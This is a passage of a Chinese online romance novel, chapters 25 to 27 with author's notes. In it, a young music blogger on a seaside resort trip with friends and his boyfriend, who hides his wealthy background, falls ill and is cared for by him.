明天因为上夹子,更新要挪到晚上十一点哦[求你了][求求你了]到时候会随机掉落一点小红包,辛苦大家等待[摸头][抱抱][可怜] 25 ? 第 25 章 ◎#真摄情#◎ “祝少!” 不知从哪里传来的一声朦胧呼喊吸引了陶真的注意力。 他抬起头, 恰好看见一拨穿着西装的人浩浩荡荡地向他的方向走来,眼神发光,好像看见了什么老熟人、大救星。 陶真忍不住扭头看了一圈四周:一旁的顾行舟正在景点门口凹松弛感姿势, 佟夏则以一个扭曲的姿态半蹲着给他拍照片,江姗俯身帮佟夏遮阳…… 祝闻声倒是保持着一贯的冷静, 但他可能跟这些领导老板有什么交集吗? “好奇怪,我怎么感觉他们是朝我们这儿走过来的……” 见陶真抬起头、视线里满是疑惑,祝闻声的呼吸猝然急促了一些, 脑海里情不自禁地闪过刚刚他说到江姗男朋友时义愤填膺、分外厌恶的脸。 他的喉结上下滑动,侧过脸避开跟赵烨对视, 粗粝的大掌握住行李箱的拉杆:“不清楚。应该不是吧。” “人挺多的,我们先进去?” 陶真心说也是,怎么可能呢? 他笑眯眯地点了点头,看了一眼自己俊美又靠谱的男友, 心生舒畅:“好, 我来喊一下夏夏和……” 话音未落, 他们二人眼前忽然暗了下来。 以赵烨为首的一帮领导笑吟吟地在他们面前站定,表情里除了热切就是隐隐的亲近, 语气和善,弯腰伸手一气呵成:“欢迎欢迎, 大驾光临!” “怎么你过来了都不先跟我们讲一声呢,都不让我们直接安排车去机场接呢,多不好意思啊!” 陶真还没来得及走,便一脸懵逼地被顺带着握了个手。 一旁正在拍照片的佟夏他们注意到了这里的动静,纷纷停下了手里的动作, 有些好奇地探头望了过来。 众目睽睽之下, 被围在中间的祝闻声, 额头冒出了根青筋。 他没忍住闭了闭眼,深深地凝视着赵烨。 喜气洋洋的赵烨却仍没有意识到不对劲,转身给众人指了指不远处山湾的地方: “刚好,我们度假村这里新建的一家星空顶酒店,还没投入给大众使用,等一下我差人给你们送几张房卡过去,你们先体验一下,看一下环境怎么样……” 什么情况? 为什么这个看起来身份就不一般的男人,会主动跑到祝闻声的跟前来,还和他这么好声好气地说话? 祝闻声,难道不是被陶真包.养的小.白.脸吗? 佟夏等人忍不住面面相觑,看向祝闻声时不由自主地眯起了眼,视线中多了几分警惕的打量意味。 陶真率先受不了了,他上前一步,将祝闻声揽在自己的身后,冲着赵烨说:“请问,你是不是认错人了?” 场面一时陷入尴尬的寂静。 祝闻声的心脏猛地跳了一拍,攥紧的拳渐渐松开: “嗯,我们不认识你。” 不、不认识? 赵烨一怔,有点茫然地转过头。 他的视线从陶真扫过祝闻声,思考两秒后,猛地拍了拍脑袋,笑道:“哎哟,瞧我,我都忘了做自我介绍了。” “我叫赵烨,是赵钊的表哥,也是大禹湾工程的负责人。这次大禹湾后期的建设差一点就出了纰漏,多亏有着祝——” “赵钊是谁?” 祝闻声淡声打断道:“我们也不认识。” “……” 赵烨一呛,双眼瞪大,似乎听见了什么很玄幻的事,嘴唇上下翕动了两下,露出了一个难以置信的表情。 什么情况?祝闻声不认识自己也就罢了,怎么连赵钊都不认识了? 他们两个闹矛盾了,闹掰了? 他满脸呆滞地站在原地,过了好几秒才感觉到身边有人在捅自己,勉勉强强回神之后,就对上了祝闻声那双黑沉沉的眸,整个人登时一激灵。 “哎呀,不认识也没关系,不认识是正常的。” 一瞬间,赵烨福至心灵,立刻放弃了揪着这件事不放的心思,匆忙扭头看向陶真,扬起眉梢, “但是我没有认错人啊,你不就是最近网上很火的那个音乐博主吗,唱歌很好听的那个。” “我还记得你的ID呢,‘真知棒’,对吧?” 众人一愣,立刻收回了注视着祝闻声的视线,转而看向陶真。 陶真自己也呆住了。 在网上发视频这么久以来,他还是第一次被人在线下认出来,这种感觉有点尴尬,却也有点奇妙。 他有点吃惊地挠了挠脸,莫名有点不太好意思承认:“对,是我。” “那就没错了呀。” 赵烨用余光注意到祝闻声身体微微放松,呼出一口气,脸色认真了起来, “实不相瞒,我们本来也是想请你来替我们大禹湾宣传的,可惜的是我们商务人员在后台联系了你好几次,你都没有回复。本来以为没有合作的机会了,没想到竟然这么巧,在这儿碰见了你。” “来了就是缘分,等下让工作人员把你们订好的几间房替换成星空顶,行吗?” 没想到事情竟然是这样的发展,佟夏和顾行舟两人都有些激动,有种抱上大腿的感觉。 陶真本人却有些受之有愧:“这样不太好吧,我都没帮你们宣传……” “要不然这样吧,你发下一条视频的时候,带上我们大禹湾的定位,表示视频是在这儿拍的,怎么样?”赵烨笑呵呵地问。 陶真犹豫了一下,看着相当兴奋激动的同伴,点了点头。 左右只是带个定位,赵烨甚至没有要求他在视频当中插入硬广,还这么大方地给他们升级房间,已经很不错了。 又简单商量一下到时候发歌时标注的具体地点,几人便在这里分道扬镳。赵烨安排了人帮他们办理了升级房间的手续,上了那个暂时还没对旁人开放的星空顶酒店。 这儿的环境果然和山下不一样,更加靠近自然,空气清新,四周被翠树绿鸟环绕着,站在阳台上,就可以看到不远处一望无际的碧蓝大海。 五个人一人一间房,陶真和祝闻声、佟夏和江姗都是对门,成了一个四四方方的“田”字格。顾行舟却睡得远一些,还要再往前,经过一段景观长廊。 几人约定好先去房间收拾一下行李,休整片刻之后再出发去看海边日落。回房间前,两个女孩儿突然想起来了什么,从包里掏出来了一瓶防晒霜递给了陶真。 “子涵那家伙保准自己带了,但我猜你肯定没有,”佟夏冲他眨眨眼,“就算是傍晚,太阳也还是很晒的,你俩一定要记得好好涂啊。” 陶真深以为然地接了过来,他完全没多想,只觉得女孩实在是考虑得太周到了。 见她们关上房门,他才转头看向祝闻声,眉眼弯弯地说:“走吧,下去之前,咱们也先涂点防晒霜!” 祝闻声捏着行李箱拉杆的手又用了几分力:“嗯。” 两人进了同一间房,崭新的屋子里没有甲醛和香水的刺鼻味道,只有满屋被绿色净化过的清香。 深吸了一口气,仿佛一路上的疲惫和紧张都可以随之烟消云散。 陶真从行李箱里翻出来了一件方便下水的白T和短裤,打算换掉身上有点厚重累赘的外套,他毫不避讳地拽着自己的长袖下摆,往上拉,露出了一大截雪白柔软的腰腹。 少年没有块垒分明的肌肉,身材却绝对不差。光滑柔韧的皮肤薄薄一层地覆盖在身上,线条流畅而漂亮,几乎能让人看清里面或青或蓝交织的血管。 祝闻声的呼吸一沉,下意识地挪开了目光。 然而脱到一半的陶真忽然想起了什么,大大方方地说:“祝闻声,你帮我涂一下后背吧?” 祝闻声的手心微微攥紧,没说话,只向陶真的方向走了两步,打开防晒霜盖子,往手心挤了一些乳白色的液体。 隔着一层薄薄的乳霜,他粗粝的大掌落在少年纤细瘦白的后背上,几乎将他小半个肩胛骨扣了进去。 “虽然负责人说随便我唱什么歌,但我还是打算唱一首跟大海相关的,不然总觉得不好意思。” 陶真背着身子,一头金发毛茸茸的,遮住小半个雪白小巧的耳朵,“其实我真没想过会被人认出来。一开始我还以为他们是过来找你的……” 背后的大掌忽然抽离,防晒霜发出“嗤”的一声,片刻后,冰凉的触感再度覆上了腰肢。 那块鲜少有人会碰到的地方到底还是有些敏感,陶真的脊背颤了一下: “……当然,我是在开玩笑了,你怎么可能会像江姗之前那个男朋友一样呢?” “对吧?哈哈哈……” 金发少年原本就白皙的肌肤涂完防晒霜后,更添了一层腻白的光晕。像是一捏就会留下青紫的痕迹,一戳就会碎的水豆腐。 语气里满是信任,毫不设防地坦露着雏鸟般柔软的真心,热乎乎,一下又一下地轻颤。 可若是轻易惊扰了,便会扑棱棱地飞走,一去不回。 祝闻声的动作微微停住,心脏像是被扯成了两半,各种念头交织在一起,挣扎着欲言又止:“嗯,对。”- 换上一身轻便的服装,简单抹了防晒,吃了几口东西,陶真和祝闻声便下了山,跟同伴们在落日海滩集合。 椰树海浪满是热带风情,数把黄白相间的大伞分散着插在沙滩上,底下还摆放着几把躺椅,不少中间的好位置都已经被先到的人群占走了。 所幸这片海滩是独属于度假村的,热闹但并不像外面人那么多,他们五人寻觅了一圈,终于找到了一个绝佳的点位。 “喔吼,太爽了,”顾行舟赞道,“既可以看到落日大海,还可以看到在海里游泳的肌肉男。” 佟夏刚把摄像机放下,就忍不住笑着揶揄他:“是吗?难怪你刚刚上楼换了这一身打扮——” 考虑到方便行动,不仅陶真和祝闻声两人穿着一白一黑的T恤,两个女孩也换掉了身上繁复的裙子,穿着衬衫背心和大裤衩就来了。 相比之下,顾行舟实在是太骚包。他上半身就一件裁到肚脐眼的黑色铆钉镂空背心,下半身则是一条紧身的牛仔短裤,头上甚至还戴着一顶巨大的沙滩草帽。 她叹道:“子涵啊子涵,你要我说你什么好,你整个人像Q\Q秀成精了。” 顾行舟气急败坏:“都说了别再喊我这个名字……你才非主流呢,我这是时尚好不好?” 见佟夏不置可否,他彻底“怒”了,撩起手边一捧沙,伤敌一千自损八百地扬了出去。 佟夏差点吃了满嘴的沙子,忍不住瞪大了双眼,怒道:“好啊你!” 她冲江姗挥了挥手,红唇冷艳的御姐立刻会意,嘴边牵起了一抹笑意,从帆布包底下翻出了一样沉甸甸的东西,放到了佟夏手心。 佟夏冷笑一声,架起那把加.特.林造型的水枪,恶狠狠地冲顾行舟道:“求饶吧——” “哎!哎!!” 冰凉的水流滋到了身上,将他那精致的牛仔短裤全弄湿了,顾行舟立刻连滚带爬地求饶,直直地躲到了陶真身后:“真宝救我!!!” 陶真原本在一旁看热闹,兀自傻乐,骤然被牵扯进了战局中,一脸茫然地被浇了一脸水。 水流顺着他精致小巧的下巴往下,直接弄湿了他薄薄的白色T恤,透色的衣服紧紧黏在身上,露出底下肉色的皮肤。 与顾行舟那种明晃晃展示在外面的身段不一样,透湿的衣料松垮垮地挂在他身上,只隐隐约约勾勒出纤细到盈盈一握的腰肢。 “唔!” 佟夏浇了好多下都浇错人,把陶真上半身都弄得湿透了,有点着急地喊:“真宝,你快让开,让我弄他!” 陶真抹了一把脸上的水,耿直道:“我也想啊,但他抓着我腰不让我走。” 闻言,顾行舟从陶真背后冒了个头出来,嘿嘿一笑,惹得人牙痒痒。 佟夏忍不住,又冲他的方向狠狠地浇水。收获了顾行舟在背后投来的沙球。 陶真被两人夹在中间,呸呸了好几口沙子和水的混合物,实在是忍不了了,可怜巴巴地向祝闻声伸出了双手:“救我!” 祝闻声心头微微一颤,他知道陶真只是在跟发小打闹,也知道,从小到大一起成长的三人感情很好。 无论是勾肩搭背也好,互损打闹也好,都是亲密的人之间才有的行为,外人插不上嘴。 但此刻,他三步并作两步地上前,伸腿拦住顾行舟,一手将他推到佟夏身前,另一手则轻而易举地抗起了陶真。 “啊呀!” 陶真已经记不起来自己从几岁以后就没有被旁人这样抱过了,忍不住惊呼了一声,下意识地抱住了祝闻声的脖颈,像小动物一样紧张兮兮地将自己的小脑袋凑了过去, “祝闻声,我好了我好了!你放我下来,很重的——” 祝闻声言简意赅:“你不重。” 好歹也是个一米七多、一百来斤的成年男人,却被祝闻声托住腿弯和屁股,直接架到了肩膀上。 陶真难免有点羞耻,可这个视角实在是太过开阔,就像小时候被父母托起看戏台子似的,过了几秒,他就被眼前的风景吸引了注意力,慢慢直起了身子,不再挣扎着要跳下去。 “呜呼——” 佟夏和顾行舟这两个损的见陶真这样得意,忍不住对视了一眼,停止了对彼此的攻击,拉起江姗一致对付他们俩! 然而,祝闻声的反应太快,微微一侧身就能避开水柱,那些沙球更是在半路上就会被拦截掉。陶真居高临下,一点没被碰到不说,还感受到了一种狐假虎威的快感。 “祝闻声,你太厉害了呀!” 少年大笑起来,张开双臂的同时,金发被风撩起,露出英气漂亮的眉眼, “帮我弄他们!” 祝闻声的唇角不自觉地勾了勾:“好。” 他扣住陶真的腿弯防止他摔倒,顺势则捡起了江姗落在地上的两支水枪,一把给陶真自保,另一把则用来攻击。 很快,顾行舟就被精准打击到练练求饶,佟夏也尖叫着认输,只剩下一个勉强将佟夏护在身后的江姗。 “太棒啦!我们快跑,别让他们追上来!” 太阳不知什么时候落了西头,燃起了天际一片灿烂的橙红。四周的一切都是暖黄明亮的,波光粼粼的海面成了如梦似幻的烟霞。 怀揣着胜利的喜悦,陶真没忍住大笑了一声,猛地搂住祝闻声的脖颈,在他侧脸上用力地亲了一口。 “吧唧”一声,又重又响。 祝闻声一直稳稳当当的脚步忽然一抖,往前多走了两步才站定,勉强将陶真放了下来。 两人踩在一片寂静空荡的沙滩上,仍由温柔的海水覆过脚面,留下小鱼苗咕噜咕噜翻滚过的微痒触感。 “祝闻声,你心脏跳得好快呀,”陶真弯起眼,“是不是刚刚跟他们打水仗太紧张啦?” 海边的风随浪,一阵一阵地打来,吹乱了陶真耀目的金发。 祝闻声垂眸,在衣角将自己手上的砂砾蹭掉,才慢慢地抬起手,碰了碰他的发尾。 “嗯,是很紧张。” 陶真弯起眼冲他笑了笑,不再多言,扭头看向落日。 天际的橙红色愈发浓郁,红得好像要烧起来,潮水拍打在岩石上,溅出雪白的泡沫。空气里逸散着浅淡的咸涩气味。 “要唱歌吗?”祝闻声忽然说。 陶真转过头,他本来想说自己还没想好唱什么有关大海的歌,下一刻,视线却撞进了祝闻声倒映着烂漫晚霞的黑沉双眸里。 心脏猛地、扑通扑通地跳了起来。 陶真张了张嘴,不自觉地“嗯”了一声。 祝闻声低头,从口袋拿出手机。 周围渐渐地暗了下来,镜头里的少年却依然明亮,剧烈的海风安静下来,像是也想聆听他的歌声。 “写信告诉我今天,海是什么颜色。” “夜夜陪着你的海,心情又如何。” 清朗的少年音,一字一句,温柔又亲密。 身后鼓噪的浪涛声仿佛为他打起了拍子。 “我揪着一颗心,整夜都闭不了眼睛。” “为何你明明动了情,却又不靠近。” “听,海哭的声音。” “叹息着谁又被伤了心,却还不清醒。”* “……” 原唱其实是一首近乎“哭诉”的苦情歌,好像女孩在恋人离开时表面冷静,内心的感情却澎湃得犹如大海。 陶真却依然没有选择这样的表达方式,他的声音清朗且穿透力极强,却刻意放缓了语气。 比起悲伤的离别,更像是热恋中的少年,从噩梦中醒来,想象着失去一切的画面,心有余悸地拍了拍胸口。 一曲结束,祝闻声慢半拍地摁下结束键。 “想到大海的时候,就想到了这首歌。虽然它一点也不符合今天这么高兴的氛围。” 陶真慢慢地从歌曲的情绪中抽离了出来,有点好奇地探头去看他,“感觉今天风好大,我都怀疑录不进去……我唱的,还算好听吗?” 祝闻声不知不觉地攥紧了手机,低声说:“嗯。” 镜头中的少年眉眼极漂亮,一首曲子一气呵成,一字一句仿佛落在人心尖。 “很好听。” 陶真松了口气,笑眼弯弯:“那就好。” 不远处,顾行舟他们找了半天才找到他俩,此刻正大叫着赶过来准备打下一场。 陶真知道这回躲不过了,赶快把自己的手机塞到祝闻声手里:“你帮我传一下,千万别被看见,不然他们马上就要抓着我表演了!” 祝闻声接过陶真的手机:“好。” 不远处的众人再度陷入了原始的缠斗,管他什么水不水沙不沙的,只要是手边的东西,一概往彼此身上扔。 祝闻声因为太强,被暂时踢出了搏斗范围,刚好方便了他,在一旁按照陶真的吩咐传视频上去。 进度条缓缓加载,跳成了百分百。 成功上传的一两分钟内,后台的消息就跟不要钱一样跳了出来。祝闻声点进那些跳跃的小红点清除了一波,又冒出来了一波。 他索性不再纠结了,正要退出这个应用时,却看见有好几条私信冒了出来。看不见字,似乎是图片。 祝闻声的指尖顿了顿。 隔着匿名的皮,很难想象一个人究竟有多坏。 他不是没看过那些因为自己生活不如意,就在网上发鬼图诅咒博主的家伙…… 犹豫两秒,他还是点了进去。 霎时,一张画面极其精美的Q版插图冒了出来。线条流畅、颜色大胆,抓形极准,一眼就能让人看出左边极可爱的金发虎牙少年是陶真。 可陶真旁边这个……有点像名侦探柯南里黑衣人的家伙是谁? 【神券膨胀六元:男神!请看!!我新给你画了你和摄影师大人的CP图!!因为摄影师没有露过脸所以只能这么画画了2333】 【神券膨胀六元:哦对,我们还给你和摄影师建设了tag哈哈哈哈哈哈,可惜就是资料什么的实在是太少了!求男神补充一点背景设定啊!!】 【……】 这个黑衣人……是他? 祝闻声后知后觉地意识到自己有些越界,强迫自己挪开目光,退出软件后台,摁灭了屏幕。 然而安静几秒后,他拿出了自己的手机,点开软件,搜索起那人所说的tag—— #真摄情# 【📢作者有话说】 这个祝闻声的马甲谁给他焊在身上了? *来自《听海》~留言掉落小红包哟宝宝们[让我康康][让我康康] 连续几天加更,我快要被掏空了[鸽子] 26 ? 第 26 章 ◎“真宝?”◎ 天色彻底暗了下来, 不远处的星空酒店点了灯,柔和的光芒像是无边深海中的灯塔。游客们也走了个七七八八,黄白相间的大伞歪七扭八地插在沙滩上, 地上躺着零星的易拉罐瓶。 酣畅淋漓的打水仗结束了,一开始整洁且松弛的众人已经成了从泥潭里捞出来的落汤鸡。他们精疲力竭地去躺椅那拿走了自己的东西, 准备回酒店。 陶真帮佟夏收拾好水枪,像个小狗一样用力甩了甩头,试图将紧巴巴黏在身上的砂砾给抖掉, 可惜不仅成效不大,还收到了顾行舟无情的嘲笑。 他倒也没有郁闷, 干脆冲过去把手上的泥沙抹到了顾行舟身上,收获了一声简直划破天际的“陶真你完蛋了”,弯起眼得意地笑了,加快步子躲到了祝闻声的身后。 祝闻声的呼吸略微凌乱了一拍, 下一刻就反手将陶真护在了怀里。 高冷俊美的黑发少年垂下眼时压迫感极强, 逼得顾行舟一个趔趄停住了脚步。 顾行舟只能转头, 假哭着拽住了佟夏的袖口:“老公你说句话啊!” 佟夏“噗”地一声喷了出来,忍不住抬头看向一旁好整以暇的江姗, 用力地瞪了他一眼,压低声音道: “乖啊, 老公马上就送你上西天。” 陶真在一旁看的乐不可支,连自己忍不住扭头打了两个喷嚏都没注意到。还是祝闻声听见动静转过身,眉心微微蹙起:“着凉了?” 他这才回神,用手背蹭掉自己脸颊上的沙子,冲祝闻声展示了一下, 那颗小虎牙明晃晃的:“不, 是它搞的鬼, 等会上去洗个澡就好了。” 陶真今天玩得实在是开心,整个人都跟平常不太一样。 以前他也活泼,却不会像在顾行舟和佟夏的面前这样闹得这么肆无忌惮。 祝闻声知道原因,顾佟两人嘴上虽然不留情,可心底里都把陶真当成是自家的小崽子来看,连对他的称呼都是真宝。 真宝。 这么亲密的称呼,也许喊了不止十年。 眼见着陶真又要凑过去跟顾行舟说些什么,祝闻声眨了眨眼。 他漆黑的瞳眸依然如往常一样平静,看不出什么波澜,只是从口袋掏出那支属于陶真的手机递了过去:“视频已经发出去有一段时间了,要不要看一下怎么样了?” 陶真果然被吸引了注意力,用力“嗯”了一声,赶快点开了自己的后台。 视频的数据还是一如既往的好,短短的两三个小时内就已经涨到了十几万赞,评论也都是活人的夸夸,还有人看他带的定位是“大禹湾”,尖叫着说要来偶遇他。 他活像是个掉进了粮仓的松鼠,心满意足地浏览了一大圈,顺手点开了私信。 在发现前段时间给他画画的女孩又给他发了新图时,他迫不及待地点开,下一刻就被“自己”身边的Q版黑衣人给逗得忍不住笑了出声,发了个大红包过去。 发完,他才将图片点击了保存,上下滑动看了看女孩给他发来的文字消息,思考了几秒。 #真摄情#,也就是“真知棒”和摄影师之间的情谊吧? 这样想着,陶真毫无防备地点进了这个tag,在热门榜刷新了一下。霎时,一条黑白条漫直愣愣地冲了出来。 画面上,金发少年微微蹙着眉,脸蛋潮红,眼尾挂着可怜巴巴的泪珠,嘴巴微微张开,吐出潮湿的热气。 依然坐在迈巴赫里唱《宝贝》,就是表情不一样,而且身上的衣服也不见了。 ……这是什么东西! 这对吗?? 陶真的脸蛋“轰”地一下炸红了,立刻就把手机翻了过去,抬眼看了一圈四周,生怕有人发现自己在看什么。 十月的晚风略微有些凉,可却半点都没降下他脸上的温度。不知过了多久,好奇心战胜了羞耻心,趁着众人都在打打闹闹的时候,他又慢吞吞地将手机翻了回来,小心翼翼地往下滑—— 画面定格切页,一只大掌覆住了“陶真”的腰肢,将那小腹上的软肉抓得溢出饱满的光晕。旋即,继续往下,扣住了某个打圣光的地方。 陶真整个人都快熟了,难以想象这个画手画这些东西时的精神状态,快速地掠过这一页。视线落在接下来画面的时候,指尖倏地一顿。 那只大掌的主人出现了。 大半张脸都隐没于黑暗当中,被一团迷雾笼罩着。可衣服下的身材线条却好得惊人,宽肩,饱满的胸膛,劲瘦有力的腰,完美的倒三角身材,轻轻松松地将“陶真”笼罩在其中。 又凶又狠。 极具爆发力和掌控力。 陶真难以抑制地多看了这个画面好几秒,只感觉自己忽然有点喘不上气,一股难以言说的燥热涌上了心头,令他情不自禁地想起了第一天跟祝闻声见面的那个晚上。 ——他不小心撞破了一对野鸳鸯,差点就要被逮到的关头,祝闻声就像图片里这样抓住他,用那双冷淡俊美的眸子盯着他,把他用力地、牢牢地摁在墙上。 只是,当时的陶真从未想过,那样的姿势,还有别的用途。 真摄情,原来不是翘舌音,而是平舌音。 希望祝闻声千万别了解到这些,更别不小心看见这些东西,他肯定会很受不了的…… 陶真做贼心虚一般退出了tag,把软件的后台都清除了一遍,才勉强揉了揉脸,将那股情绪压了下去,若无起身地跟在众人身后上了楼。 沙子粘在身上到底还是不舒服,他一回到自己的房间就匆忙地脱掉了身上脏兮兮的T恤和短裤,光溜溜地冲到了浴室,打开了莲蓬头。 冰凉的水流哗啦啦地冲了下来,等了一阵子,水还是冷的。 难道是这个暂时还没有多少人住过的新酒店出问题,没有热水了吗? 陶真有点疑惑,他想出去看看,可是低头看了眼自己沾满泥沙的身子,又放弃了这个念头。干脆忍着哆嗦,快速的冲了个冷水澡。 套上干净衣服钻进被窝时,他又忍不住打了好几个喷嚏,脑袋都有点不受控制的晕眩,忍不住摇了摇头。 奇怪,沙子不是都已经洗干净了么……- 夜晚的大禹湾风景也极好,路灯顺着山路蜿蜒而下,仿佛一条流淌的星河。 祝闻声洗完热水澡从浴室里出来,刚走到阳台上,就感觉口袋的手机疯狂地振动起来。拿出来一看,来电显示,赵钊。 他摁了接通,立刻听到了那头如有实质的咆哮:“卧槽!!祝闻声!你是不是疯了?!你跟我表哥说你不认识我?!你知道他一开始跟我说的时候我有多不相信吗!结果你就这么狠狠地、用力地打了我的脸!” “给我一个理由,不然这兄弟我们就别做了——” “借给你的那五百万不用还了,”祝闻声捏了捏眉心,语气极淡,“算是理由了吗。” 赵钊的气焰立刻消了,在短短几秒内换了一副面孔:“当然了,哥,刚刚那个是谁?!居然敢吼你,简直是想死了!” 祝闻声:“……” “不过我还是很好奇,你到底为什么不承认呢?搞得赵烨都不自信了。他还特意让我过来问问你到底在不在那儿。”赵钊乐完了,又忍不住问,“你是跟几个朋友一块过去的么?里面还有一个最近在网上小有名气的视频博主……” 祝闻声沉默了几秒:“嗯。” “那是陶真。” 电话那头瞬间安静了,赵钊低低地骂了一声“草”。 他知道了,祝闻声不承认,是因为不敢在陶真面前表现出自己有钱。陶真不傻,可能会心疼一个在酒吧里打黑拳的调酒师,却不可能选择包.养一个打MMA的太子爷。 可撒谎是办法吗? 一个谎言,要千百个谎言来圆。 难道祝闻声能将自己的真实身份藏一辈子吗? 他可是祝家唯一的少爷,不顾一切去打MMA已经是大逆不道了,这会还为了一个少年这么……这么疯狂。 这么多年了,赵钊从没看过祝闻声这个样子,他忍不住叹了口气:“我没话说了……你比我聪明,你肯定都明白。” “既然做了,就努力一点别被发现。有什么哥们帮得上忙的,直接说。” 电话“嘟嘟”地挂断了,祝闻声收起手机,望向不远处流淌的星河。 不知过了多久,夜晚的凉风终于吹走了他杂乱的思绪。正在他要转身回房内时,隔壁阳台上忽然走出来了一个身段高挑、姿态优雅的女人,正是江姗。 不知为何,她直到现在都还没洗完澡,身上依然有些湿漉漉的泥沙,长发也披散在身前。 看见祝闻声时,她挑了挑眉:“好巧。” 祝闻声也礼貌地颔首:“嗯。” 两人同为“被带来的朋友”,今天的交集本就不多,这会站在一块更是无话。 沉默地对视了几秒,还是江姗率先开口:“你房间热水是正常的么?” 祝闻声点了点头:“你的不是?” “不,我的也是正常的。但夏夏房间里的有毛病,只能出冷水,所以我让她到我这儿来洗,”江姗微微呼出一口气,声音低哑,“她先洗澡,我就出来……透口气。” 阳台的门开着,所以能听见从房内传来的哗啦啦水声。 女人时不时往房内看一眼,神态明显没有厌恶,反而很专注。 祝闻声心中一动,忍不住掀起眼睫,漆黑如墨的瞳孔直直地盯着她。 江姗自然注意到了他的视线,挑眉望了回去。 片刻后,她笑了一声,用手指在阳台横栏上点了点,画了一个对称的“田”字。 “可能是一条边的管道问题,夏夏用不了热水,陶真应该也用不了。” 祝闻声一怔。 “所以,你也可以喊他,到你房间来洗澡。” 说完,江姗就撩了一下发丝,转身回到屋内,将阳台的门关了起来。 四周重新安静下来,祝闻声顿了几秒,还是抽出手机。 给陶真发去的几条信息都石沉大海一般没有回复。 他没有着急,等了几分钟,才拨了一个语音电话过去。 “嘟嘟”的等待声响了一阵子,那头终于接了。 也许是神志不清,陶真还顺手点开了视频键。屏幕里,少年漂亮的小脸染上一阵潮红,灿烂的金发可怜巴巴地耷在额前,眼尾的不知到底是汗还是眼泪。 “…唔…祝闻声……” 陶真一开口,差点被自己沙哑的嗓子吓了一跳: “你怎么…咳……给我打电话了……” 祝闻声快步出了房,走到陶真门前,语气微沉:“起来开门,让我进去看看。” “好不好,”似乎是觉得语气太生硬,顿了顿,他又轻声补充道,“真宝?” 【📢作者有话说】 红包两个字,我说很多次[墨镜][墨镜] 27 ? 第 27 章 ◎统一回复:很大。◎ ——“真宝。” 男人的声音又低又沉, 尾音似乎含着近乎叹息的无奈。 这个平常再熟悉不过的昵称从他嘴里说出来后,莫名变了味道,像是一把小锤子“啪嗒”一下敲在陶真的心脏上, 引起了后脊的一阵酥麻。 陶真的呼吸略微有些急促,分不清到底是因为感冒发烧还是因为别的什么, 强撑着自己从汗涔涔的被窝里溜了出来,头重脚轻地走到了房门口。 “咔嗒”一声,大门打开的瞬间, 他就踉跄一步,撞进了眼前男人宽厚结实的胸膛。沐浴露浅淡的香味, 混杂着长年累月无法退却的跌打损伤药,直直地冲进了鼻腔。 这种味道格外令人安心,陶真毫无自觉,像小动物一样靠着嗅闻了两秒, 才勉勉强强站直:“咳……我这嗓子真是奇怪……刚刚睡觉的时候还好好的……” 少年原本清朗的嗓子如今灌了沙, 干涩到好像一个坏了大半的破风箱, 越说越变调。 祝闻声单手支着他带他回床,视线从屋内各处扫过, 地上散落着几件没来得及收拾的衣服,沾满泥沙;浴室里冷冰冰的, 没有半点热水氤氲的水汽。 十月份的天本来就不如夏日那么炎热。 陶真回房间的时候就已经打喷嚏了,竟然还洗了冷水澡…… 不知为何,祝闻声漆黑的瞳眸越来越黑。陶真坐在床边,忽然感觉到了一种前所未有的心虚。 他忍不住用汗湿的手在皱巴巴的衣角上蹭了蹭,很小声地为自己辩驳:“真的, 我身体一向很好的…今天这样是特殊情况。睡一觉起来就、咳咳咳……” “没问题了”这四个字还没来得及出口, 陶真就感觉脑仁里一阵剧烈的抽痛。他有点难以忍受地皱起了眉, 身体摇摇晃晃。 祝闻声皱起眉,不由分说地将他整个人都塞进了被窝里,没再给他任何狡辩的机会:“陶真,不许逞强。” “明明知道房间里面没有热水,只能洗冷水澡,为什么不打电话给酒店,或者问问别人?” “如果我不来找你,你就要一个人熬到明天上午吗?” 蜷在被子里的金发少年不动了,像是蔫吧吧的向日葵低着头。 祝闻声蹙着眉抽出手机,给前台打了电话,问那边有没有体温计和感冒药。 前台小姐很抱歉地告诉他,因为星空顶酒店入住的人并不多,所以工作人员都是从山下的酒店调过来的,并没有医疗包这类紧急措施,建议他可以上外卖软件搜索一下。 可祝闻声看了看,最近的药房离大禹湾要将近十三公里,这会入了夜,外卖员又很不足,等药到手上至少要两个小时。 两个小时…… 太久了。 祝闻声在床边坐了一会,忽然起身,抬腿往房间外面走。 整个人烧得可以煎鸡蛋的陶真略微有点迷糊了,却依然能够感觉到身边的重量忽然一轻。 他握着被角的手用了两分力,说不出为什么那么失落,但还是忍不住小声开口:“你……你要走了吗?” 祝闻声回过头,只看见一向笑容灿烂、活泼热烈到像个小太阳似的金发少年臊眉耷眼地蜷成一小团,声音里有些连自己都没意识到的委屈。 明明一开始还嘴硬着狡辩说自己健壮如牛,这会儿见他要走了,连眼神里都带了些可怜巴巴的挽留。 不要走好不好? 你不来没关系,但你不能来了又走。 “我没打算走,只是想去问一下你的朋友们有没有空过来,”祝闻声三步并作两步地折返回来,很轻地叹息了一声,“得先找个人照顾你,我才放心去买药。” “不买药不行吗?”陶真眼睛湿漉漉地盯着他,声音沙哑又黏糊,“我一点也不想吃。” 祝闻声冷酷无情道:“不行。” “好吧……” 拒绝得这样利落且干脆,祝闻声却并没有再出门。 他去浴室拿了一条干毛巾打湿,搭在陶真的额头上为他暂时降温,旋即又从口袋里掏出手机来,给某个人打了电话。 因为在生病,所以陶真的听力并不像以前那样发达,只能朦朦胧胧地捕捉到几个模糊的关键词。祝闻声的神情一如既往的冷淡且漠然,但在电话的最后说了两声谢谢。 “……你是跟夏夏他们说了吗?不要跟他们说好不好……” 陶真努力掀开潮湿的睫羽,咕哝着说,“大家好不容易才出来玩一趟…我不想扫兴……” 他的侧脸有些孩子气,说的话也傻乎乎的。 祝闻声的指尖一顿,半晌才拨开他额前潮湿的金发,低声说:“你没有扫兴。” 安静几秒,他说:“真宝,你很乖。” 陶真乌溜溜的双眼慢慢睁大,然后像月牙那样弯了起来,心满意足地将红扑扑的小脸藏进被子里。 祝闻声安静地陪了他一会,终于听见门铃被按响。他轻手轻脚地起身,从赵烨助理的手里接过了保温袋,同时打了一笔辛苦费过去。 赵烨的助理哪里敢收,连忙挥手拒绝。开玩笑,这位可是赵烨本人来了都恭敬三分的“太子爷”。 大半夜的,一个电话打到赵烨那边,把睡梦中的赵烨都一个骨碌吓激灵了,还以为是大禹湾里出了什么事,结果是要跟他借人,去山下买东西…… 祝闻声没跟他推辞,直截了当地将钱转过去,关上了房门。 他打开袋子,取出里面的水银温度计简单消毒了一下才让陶真含住,同时又检查了一下赵烨助理带来的药品,按照剂量分好。 